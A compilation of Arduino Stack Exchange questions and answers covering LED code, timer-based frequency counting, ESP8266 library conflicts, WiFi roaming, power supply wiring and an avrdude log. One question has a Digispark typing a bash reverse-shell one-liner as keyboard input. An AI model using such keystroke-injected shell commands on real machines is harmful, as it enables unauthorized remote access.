// set the LED with the ledState of the variable:
LEDStick.setLEDColor(50, 50, 50);

```

Should be something like:

```
// set the LED with the ledState of the variable:
uint8_t intensity = ledState == HIGH ? 255 : 0;
LEDStick.setLEDColor(intensity, intensity, intensity);

```

This 'converts' the ledState into white (RGB values 255) when HIGH or black/off (RGB values 0) when LOW.

Also you can change the line

```
if (LEDStick.begin() == false) {

```

into

```
if (!LEDStick.begin()) {

```

and change the lines

```
// if the LED is off turn it on and vice-versa:
if (ledState == LOW) {
  ledState = HIGH;
} else {
  ledState = LOW;
}

```

into

```
// if the LED is off turn it on and vice-versa:
ledState = ledState == LOW ? HIGH : LOW;

```

or even

```
ledState = !ledState;

```
> 0 votes

---
Tags: led, stepper-motor
---


# Question
Title: Can an Arduino Uno be used to measure the frequency of a square wave of up to 600 kHz?
I am doing a project with a color sensor, where the output of the color sensor is a PWM square wave.

To measure its frequency using an Arduino Uno I am using the `pulseIn()` function, but I can't get the correct result.

Can an Arduino Uno measure a frequency of up to 600 kHz using the `pulseIn()` function?

# Answer
> 3 votes
The documentation for pulseIn states that it can be used for intervals of 10 microseconds to 3 minutes.

600 kHz *frequency* will have an *interval* of 1.6 microseconds and thus is not suitable for this application. (1 / 600000 = 0.000001666).

I have code on my web page about timers for a sketch that can measure up to 8 MHz with only 0.5% error.

This code is reproduced below:

```
// Timer and Counter example
// Author: Nick Gammon
// Date: 17th January 2012

// Input: Pin D5

// these are checked for in the main program
volatile unsigned long timerCounts;
volatile boolean counterReady;

// internal to counting routine
unsigned long overflowCount;
unsigned int timerTicks;
unsigned int timerPeriod;

void startCounting (unsigned int ms)
  {
  counterReady = false;         // time not up yet
  timerPeriod = ms;             // how many 1 ms counts to do
  timerTicks = 0;               // reset interrupt counter
  overflowCount = 0;            // no overflows yet

  // reset Timer 1 and Timer 2
  TCCR1A = 0;
  TCCR1B = 0;
  TCCR2A = 0;
  TCCR2B = 0;

  // Timer 1 - counts events on pin D5
  TIMSK1 = bit (TOIE1);   // interrupt on Timer 1 overflow

  // Timer 2 - gives us our 1 ms counting interval
  // 16 MHz clock (62.5 ns per tick) - prescaled by 128
  //  counter increments every 8 µs.
  // So we count 125 of them, giving exactly 1000 µs (1 ms)
  TCCR2A = bit (WGM21) ;   // CTC mode
  OCR2A  = 124;            // count up to 125  (zero relative!!!!)

  // Timer 2 - interrupt on match (ie. every 1 ms)
  TIMSK2 = bit (OCIE2A);   // enable Timer2 Interrupt

  TCNT1 = 0;      // Both counters to zero
  TCNT2 = 0;

  // Reset prescalers
  GTCCR = bit (PSRASY);        // reset prescaler now
  // start Timer 2
  TCCR2B =  bit (CS20) | bit (CS22) ;  // prescaler of 128
  // start Timer 1
  // External clock source on T1 pin (D5). Clock on rising edge.
  TCCR1B =  bit (CS10) | bit (CS11) | bit (CS12);
  }  // end of startCounting

ISR (TIMER1_OVF_vect)
  {
  ++overflowCount;               // count number of Counter1 overflows
  }  // end of TIMER1_OVF_vect

//******************************************************************
//  Timer2 Interrupt Service is invoked by hardware Timer 2 every 1 ms = 1000 Hz
//  16Mhz / 128 / 125 = 1000 Hz

ISR (TIMER2_COMPA_vect)
  {
  // grab counter value before it changes any more
  unsigned int timer1CounterValue;
  timer1CounterValue = TCNT1;  // see datasheet, page 117 (accessing 16-bit registers)
  unsigned long overflowCopy = overflowCount;

  // see if we have reached timing period
  if (++timerTicks < timerPeriod)
    return;  // not yet

  // if just missed an overflow
  if ((TIFR1 & bit (TOV1)) && timer1CounterValue < 256)
    overflowCopy++;

  // end of gate time, measurement ready

  TCCR1A = 0;    // stop timer 1
  TCCR1B = 0;

  TCCR2A = 0;    // stop timer 2
  TCCR2B = 0;

  TIMSK1 = 0;    // disable Timer1 Interrupt
  TIMSK2 = 0;    // disable Timer2 Interrupt

  // calculate total count
  timerCounts = (overflowCopy << 16) + timer1CounterValue;  // each overflow is 65536 more
  counterReady = true;              // set global flag for end count period
  }  // end of TIMER2_COMPA_vect

void setup ()
  {
  Serial.begin(115200);
  Serial.println("Frequency Counter");
  } // end of setup

void loop ()
  {
  // stop Timer 0 interrupts from throwing the count out
  byte oldTCCR0A = TCCR0A;
  byte oldTCCR0B = TCCR0B;
  TCCR0A = 0;    // stop timer 0
  TCCR0B = 0;

  startCounting (500);  // how many ms to count for

  while (!counterReady)
     { }  // loop until count over

  // adjust counts by counting interval to give frequency in Hz
  float frq = (timerCounts *  1000.0) / timerPeriod;

  Serial.print ("Frequency: ");
  Serial.print ((unsigned long) frq);
  Serial.println (" Hz.");

  // restart timer 0
  TCCR0A = oldTCCR0A;
  TCCR0B = oldTCCR0B;

  // let serial stuff finish
  delay(200);
  }   // end of loop

```

---

> Whether Arduino UNO can measure the frequency upto 600 KHz if we use the pulseIn() function?

No. Not using pulseIn. However see the code above for a way of measuring such a frequency.

---
Tags: pulsein
---


# Question
Title: Why do DigiKeyboard.print and println change my string?
**GOAL**: I'm trying to use `DigiKeyboard` library but I'm facing a problem when I use `print` or `println` with character different from alphanumeric ones.

**PROBLEM** : I import the library as I've seen on others projects:

```
#include "DigiKeyboard.h"

```

Then I try to output this string "`bash -i >& /dev/tcp/127.0.0.1/80 0>&1`" using `print` method:

```
DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

```

But the output is messed up:

```
bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

```

Could you explain how can I solve?

**SOLUTION**: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?

# Answer
> 5 votes
The problem is your keyboard layout.

The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it. All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries. It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).

The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.

You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.

So you have a number of options:

1. Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
2. Modify the Arduino core to map the characters using an Italian keymap, or
3. Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3. Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did. So spend some time and work out which characters, when you print them, result in which characters being typed.

# Answer
> 1 votes
You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.

# Answer
> 0 votes
The keyboard layout is the issue here. To make a sketch that will work independently of the keyboard layout, my current strategy is to use the Alt+ASCII code method (press and hold ALT, then enter the ASCII code of the character on the numeric keypad, then release ALT). I'm going to implement that in a fork of DigiStumpArduino's print/println function. This will cost performance (5 keystrokes insted of 1 to 3) but should be completely layout-independent. I'll definitely make the code freely available if/when it works.

---
Tags: digispark
---


# Question
Title: "previous declaration of 'HTTPMethod HTTP_HEAD'"
I'm getting the following error when I try to compile my code on my LOLIN(WeMos) D1 R1:

```
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:19: error: 'HTTP_ANY' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                   ^~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:69:3: note: previous declaration 'WebRequestMethod HTTP_ANY'
   69 |   HTTP_ANY     = 0b01111111,
      |   ^~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:29: error: 'HTTP_GET' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                             ^~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:62:3: note: previous declaration 'WebRequestMethod HTTP_GET'
   62 |   HTTP_GET     = 0b00000001,
      |   ^~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:39: error: 'HTTP_HEAD' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                                       ^~~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:67:3: note: previous declaration 'WebRequestMethod HTTP_HEAD'
   67 |   HTTP_HEAD    = 0b00100000,
      |   ^~~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:50: error: 'HTTP_POST' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                                                  ^~~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:63:3: note: previous declaration 'WebRequestMethod HTTP_POST'
   63 |   HTTP_POST    = 0b00000010,
      |   ^~~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:61: error: 'HTTP_PUT' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                                                             ^~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:65:3: note: previous declaration 'WebRequestMethod HTTP_PUT'
   65 |   HTTP_PUT     = 0b00001000,
      |   ^~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:71: error: 'HTTP_PATCH' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                                                                       ^~~~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:66:3: note: previous declaration 'WebRequestMethod HTTP_PATCH'
   66 |   HTTP_PATCH   = 0b00010000,
      |   ^~~~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:83: error: 'HTTP_DELETE' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                                                                                ^~~~~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:64:3: note: previous declaration 'WebRequestMethod HTTP_DELETE'
   64 |   HTTP_DELETE  = 0b00000100,
      |   ^~~~~~~~~~~
In file included from C:\Users\Administrator\Documents\Arduino\libraries\WiFiManager/WiFiManager.h:17,
                 from C:\Users\Administrator\Desktop\from\from.ino:6:
C:\Users\Administrator\AppData\Local\Arduino15\packages\esp8266\hardware\esp8266\3.0.2\libraries\ESP8266WebServer\src/ESP8266WebServer.h:47:96: error: 'HTTP_OPTIONS' conflicts with a previous declaration
   47 | enum HTTPMethod { HTTP_ANY, HTTP_GET, HTTP_HEAD, HTTP_POST, HTTP_PUT, HTTP_PATCH, HTTP_DELETE, HTTP_OPTIONS };
      |                                                                                ^~~~~~~~~~~~
In file included from C:\Users\Administrator\Desktop\from\from.ino:5:
C:\Users\Administrator\Documents\Arduino\libraries\ESPAsyncWebServer-master\src/ESPAsyncWebServer.h:68:3: note: previous declaration 'WebRequestMethod HTTP_OPTIONS'
   68 |   HTTP_OPTIONS = 0b01000000,
      |   ^~~~~~~~~~~~
exit status 1
Error compiling for board LOLIN(WeMos) D1 R1.

```

Here is my code:

```
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include <ESPAsyncTCP.h>
#include <ESPAsyncWebServer.h>
#include <WiFiManager.h>

AsyncWebServer server(80);

const char* PARAM_INPUT_1 = "input1";
const char* PARAM_INPUT_2 = "input2";
const char* PARAM_INPUT_3 = "input3";

const char index_html[] PROGMEM = R"rawliteral(
<!DOCTYPE HTML><html><head>
  <title>ESP Input Form</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <style>html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}
    .button { background-color: #195B6A; border: none; color: white; padding: 16px 40px;
    text-decoration: none; font-size: 30px; margin: 2px; cursor: pointer;}
   .button2 {background-color: #195B6A;}</style>
  </head><body>
  <form action="/get">
    input1: <input type="text" name="input1" style="background-color: #195B6A; border: none; color: white; padding: 16px 40px;
    text-decoration: none; font-size: 30px; margin: 2px; cursor: pointer;">
    <input type="submit" value="Submit">
  </form><br>
  <form action="/get">
    input2: <input type="text" name="input2">
    <input type="submit" value="Submit">
  </form><br>
  <form action="/get">
    input3: <input type="text" name="input3">
    <input type="submit" value="Submit">
  </form>
  <h1>SmartHomeHarris-CoLTD</h1>
  <p>GPIO 1 - State off</p>
  <p><a href="/1/on"><button class="button">ON</button></a></p>
  <p>GPIO 2 - State off</p>
  <p><a href="/2/on"><button class="button">ON</button></a></p>
  <p>GPIO 3 - State off</p>
  <p><a href="/3/on"><button class="button">ON</button></a></p>
  <p>GPIO 4 - State off</p>
  <p><a href="/4/on"><button class="button">ON</button></a></p>
  </body></html>)rawliteral";

void notFound(AsyncWebServerRequest *request) {
  request->send(404, "text/plain", "Not found");
}

void setup() {
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  WiFiManager wm;
  if (WiFi.waitForConnectResult() != WL_CONNECTED) {
    Serial.println("WiFi Failed!");
    return;
  }
  bool res;
  // res = wm.autoConnect(); // auto generated AP name from chipid
  // res = wm.autoConnect("AutoConnectAP"); // anonymous ap
  res = wm.autoConnect("AutoConnectAP","password"); // password protected ap

  if (!res) {
        Serial.println("Failed to connect");
        // ESP.restart();
  }
  else {
        // if you get here you have connected to the WiFi
        Serial.println("connected...yeey :)");
  }
  Serial.println();
  Serial.print("IP Address: ");
  Serial.println(WiFi.localIP());

  // Send web page with input fields to client
  server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){
    request->send_P(200, "text/html", index_html);
  });

  // Send a GET request to <ESP_IP>/get?input1=<inputMessage>
  server.on("/get", HTTP_GET, [] (AsyncWebServerRequest *request) {
    String inputMessage;
    String inputParam;
    // GET input1 value on <ESP_IP>/get?input1=<inputMessage>
    if (request->hasParam(PARAM_INPUT_1)) {
      inputMessage = request->getParam(PARAM_INPUT_1)->value();
      inputParam = PARAM_INPUT_1;
    }
    // GET input2 value on <ESP_IP>/get?input2=<inputMessage>
    else if (request->hasParam(PARAM_INPUT_2)) {
      inputMessage = request->getParam(PARAM_INPUT_2)->value();
      inputParam = PARAM_INPUT_2;
    }
    // GET input3 value on <ESP_IP>/get?input3=<inputMessage>
    else if (request->hasParam(PARAM_INPUT_3)) {
      inputMessage = request->getParam(PARAM_INPUT_3)->value();
      inputParam = PARAM_INPUT_3;
    }
    else {
      inputMessage = "No message sent";
      inputParam = "none";
    }
    Serial.println(inputMessage);
    request->send(200, "text/html", "HTTP GET request sent to your ESP on input field ("
                                     + inputParam + ") with value: " + inputMessage +
                                     "<br><a href=\"/\">Return to Home Page</a>");
  });
  server.onNotFound(notFound);
  server.begin();
}

void loop() {

}

```

I tried different version of WiFiManager but still it doesn't work.

# Answer
As the error messages tell you, there are two declarations of `HTTP_OPTIONS` via two includes. Apparently you cannot use these at the same time.

"WiFiManager.h" has the `enum HTTPMethod` that has these constants.

And "ESPAsyncWebServer.h" has another declaration of the same constants.

You might need to read their documentation to learn whether work-arounds are possible.
> 1 votes

---
Tags: esp8266, compile
---


# Question
Title: Why does Arduino Nano 33 IoT always choose the weakest WiFi BSSID?
I have an Arduino Nano 33 IoT configured to connect to my WiFi network with a pretty straightforward code:

```
#include <WiFiNINA.h>

int status = WL_IDLE_STATUS;
status = WiFi.status();
while (status != WL_CONNECTED) {
    status = WiFi.begin(ssid, pass);
    if (status == WL_CONNECTED) break;
    delay(5000);
}

```

My problem is that in an environment with multiple access points sharing the same SSID (roaming environment) my Arduino is constantly connecting to the weakest one of the access points.

I verified with WiFi Explorer on my laptop that multiple access points are in reach at the same location where the Arduino is placed and for some reason my Arduino decides to connect to the base station with BSSD ending **:CA:81**, which is paradoxly the weakest one:

Is there a way to address this issue?

# Answer
> 5 votes
On Nano 33 IoT the WiFi network adapter is NINA esp32 module with Arduino's nina-fw. nina-fw is written with the use of ESP-IDF framework by the esp32 manufacturer Espressif.

To connect to an AP the ESP-IDF has a configuration function, which takes a structure with settings. One of the settings is wifi\_scan\_method and nina-fw uses WIFI\_FAST\_SCAN. The alternative is WIFI\_ALL\_CHANNEL\_SCAN.

> WIFI\_FAST\_SCAN Do fast scan, scan will end after find SSID match AP

There is no simple solution for this. I don't know why they changed the setting. If it should be configurable then the firmware and the WiFiNINA library have to change to support it.

Or you can get the sources of the firmware, change the setting, build the firmware (it is not trivial) and flash it to NINA on your Nano.

---
Tags: wifi, arduino-nano-33-iot
---


# Question
Title: Is it possible to connect 2 PLC which have Ethernet interfaces using Ethernet shield, arduino Nano and SX1278?
I need to connect 2 PLC which have Ethernet interfaces over 1 km and i was thinking of connecting via SPI an ethernet shield and an SX1278 module to a arduino nano (UNO) board.

Do i need logical converter between Nano and SX ? (I saw a lot of videos showing people doing it without the logical converter)

Is it Nano capable of handling the information passing from Ethernet to SX ?

If possible, where can i find an example of such setup ?

# Answer
The simple fact you are asking this question means you don't have the skills or knowledge to comprehend what it is you are asking (I don't mean this in a nasty way, just that in having to ask it shows you lack some of the basic knowledge you will first need to accomplish the task).

Firstly you need to understand what Ethernet is. The cable itself is just one layer (the "Physical" or lowest layer) of the 7-layer OSI model.

On top of that are 6 more layers at increasing levels of abstratcion.

You will need to understand *what* is being communicated between the two PLCs and at what layer of the OSI model it makes the most sense to create your bridge.

Do you do it at the application level, where you receive the data that is sent by a PLC and interpret it, then send that interpretation over the bridge to be reconstructed at the other and? Or do you do it at the socket layer where you capture the raw information and send that, or at the transport layer where you take the network data and forward that, or at the data layer where you take the ethernet electrical signals and pass that logical data to the other end to be replicated?

But then of course there is the other question: Is it actually Ethernet? Or is it some other protocol that just happens to use CAT5 (or similar) cables to transfer the data? If that is the case you first need to what that protocol is before you can even consider connecting anything to the wire.

Only once you have answered those questions can you go on to ask more about implementing your setup. Things like:

* What hardware do I need to connect to the PLC
* What protocol do I need to implement
* What high level facilities would the Arduino need to provide for the connection to function

Etc. Lots of questions.

So:

* Is it actually Ethernet or some other protocol carried by CAT5 cables, such as RS-485 / RS-422
* Given the actual protocol, what interface do you need to get?
* If it is Ethernet, does it use IP or something else (IPX?)
* If it is IP does it use TCP or UDP for communication? Or both?
* If it is IP what controls the IP addresses? Will you need to implement a DHCP server, or hijack the IP address of the "remote" end of the bridge?
* Once you understand the protocols, is timing critical in your system? Does PLC A expect a response from PLC B within a finite defined time frame?
* Given how unreliable a wireless connection is, how will you handle dropped or corrupted packets?
* Does your chosen connection technology have enough bandwidth to transmit the data fast enough to prevent a backlog of data and lost information?

As you can see there is a *huge* amount of things to consider when designing this kind of thing.

If you have a list of 20 steps to go through to implement this, you are trying to start at maybe step 15 or 16. You need to rewind right back to step 1 and look at the absolute basics of what it is you are trying to do and what it is you are trying to do it to.
> 0 votes

---
Tags: arduino-nano, ethernet
---


title: Arduino Nano: HUGE voltage drop on VIN

text:
# Question
Title: Arduino Nano: HUGE voltage drop on VIN
I am building a small automated indoor greenhouse. I want to use an Arduino Nano to control some LEDs und a fan (both through relays) and a water Grove Water Atomization module. Everything works fine, as long as I power the LEDs and the fan with a 12v supply (3 watts) and the Nano through USB. But I want to power the Nano through the 12v supply, too.

So I built a voltage divider that delivers 7.25v. I measured it with a multimeter. But when I connect it to the VIN of the Nano, the voltage drops to 1.16v. Wich – of course – means that the Nano doesn't start. When I tried it, only the Nano and the relays were connected to the 12v power supply. The relays through voltage divider delivering 5v.

I tried it with an original Arduino and a chinese compatible and got the exact same result both times.

Does anyone have an idea, what I am missing?

# Answer
You just can't use a couple of resistors to deliver a reliable voltage source like that. The voltage divider effectively works as advertised with zero current. Your Nano will take more than zero current. See here for one discussion.
> 3 votes

# Answer
If you do not place more than a few mA load on the Nano 5V pin you can wire 'Vin' directly to 12V. Your resistor idea sounds great however when you add the fluctuating current requirement you cannot get a stable output it will change with the load. Note the divider circuit resistance has to be very low in value to stay close making it not practical.
> 0 votes

---
Tags: arduino-nano, power, voltage, voltage-divider
---


title: Using prototype PCBs as Arduino shield

text:
# Question
Title: Using prototype PCBs as Arduino shield
Is is possible to use prototype PCBs (PCB with grid of unconnected holes with copper around them, usually with pitch 2.54 mm) as Arduino shield, when they are fitted with appropriate pin headers?

I am asking this question because I am not sure whether the Arduino UNO pin headers (which are split) will fit to the headers on the prototype PCB where I will “leave out” one pin on the header.

(Yes, I ho not have a Arduino board to try it out now.)

# Answer
> 2 votes
For the UNO style boards, no it's not possible. The digital headers have a 0.16 inch gap between them which offsets one set of headers 0.06" from the holes in the shield.

For this reason you can buy specific Arduino prototyping shields that have the headers in the right locations.

---
Tags: shields, pcb-design, prototype
---


# Question
Title: Error while burning bootloader onto ATMega-8A using Arduino Mega 2560: avrdude: invalid byte value
So, I'm trying to burn the bootloader onto an ATMega 8A with an Arduino Mega 2560 as ISP.
I made the necessary connections, and got this error:

```
C:\Program Files (x86)\Arduino\hardware/tools/avr/bin/avrdude -CC:\Program Files (x86)\Arduino\hardware/tools/avr/etc/avrdude.conf -v -v -v -v -patmega8 -cstk500v1 -P\\.\COM3 -b19200 -e -Ulock:w:0x3f:m -Uhfuse:w:0b110{bootloader.ckopt_bit}{bootloader.eesave_bit}10{bootloader.bootrst_bit}:m -Ulfuse:w:0b{bootloader.bod_bits}{bootloader.sut_cksel_bits}:m

avrdude: Version 5.11, compiled on Sep  2 2011 at 19:38:36
         Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
         Copyright (c) 2007-2009 Joerg Wunsch

         System wide configuration file is "C:\Program Files (x86)\Arduino\hardware/tools/avr/etc/avrdude.conf"

         Using Port                    : \\.\COM3
         Using Programmer              : stk500v1
         Overriding Baud Rate          : 19200
avrdude: Send: 0 [30]   [20]
avrdude: Send: 0 [30]   [20]
avrdude: Send: 0 [30]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
         AVR Part                      : ATMEGA8
         Chip Erase delay              : 10000 us
         PAGEL                         : PD7
         BS2                           : PC2
         RESET disposition             : dedicated
         RETRY pulse                   : SCK
         serial program mode           : yes
         parallel program mode         : yes
         Timeout                       : 200
         StabDelay                     : 100
         CmdexeDelay                   : 25
         SyncLoops                     : 32
         ByteDelay                     : 0
         PollIndex                     : 3
         PollValue                     : 0x53
         Memory Detail                 :

                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           eeprom         4    20   128    0 no        512    4      0  9000  9000 0xff 0xff
                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           flash         33    10    64    0 yes      8192   64    128  4500  4500 0xff 0x00
                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           lfuse          0     0     0    0 no          1    0      0  2000  2000 0x00 0x00
                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           hfuse          0     0     0    0 no          1    0      0  2000  2000 0x00 0x00
                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           lock           0     0     0    0 no          1    0      0  2000  2000 0x00 0x00
                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           calibration    0     0     0    0 no          4    0      0     0     0 0x00 0x00
                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           signature      0     0     0    0 no          3    0      0     0     0 0x00 0x00

         Programmer Type : STK500
         Description     : Atmel STK500 Version 1.x firmware
avrdude: Send: A [41] . [80]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [02]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [81]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [01]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [82]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [12]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [98]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
         Hardware Version: 2
         Firmware Version: 1.18
         Topcard         : Unknown
avrdude: Send: A [41] . [84]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [85]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [86]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [87]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [89]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
         Vtarget         : 0.0 V
         Varef           : 0.0 V
         Oscillator      : Off
         SCK period      : 0.1 us

avrdude: Send: A [41] . [81]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [01]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [82]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [12]
avrdude: Recv: . [10]
avrdude: Send: B [42] p [70] . [00] . [00] . [01] . [01] . [01] . [01] . [02] . [ff] . [00] . [ff] . [ff] . [00] @ [40] . [02] . [00] . [00] . [00]   [20] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
avrdude: Send: E [45] . [05] . [04] . [d7] . [c2] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
avrdude: Send: P [50]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
avrdude: AVR device initialized and ready to accept instructions

Reading | avrdude: Send: V [56] 0 [30] . [00] . [00] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [1e]
avrdude: Recv: . [10]
avrdude: Send: V [56] 0 [30] . [00] . [01] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [93]
avrdude: Recv: . [10]
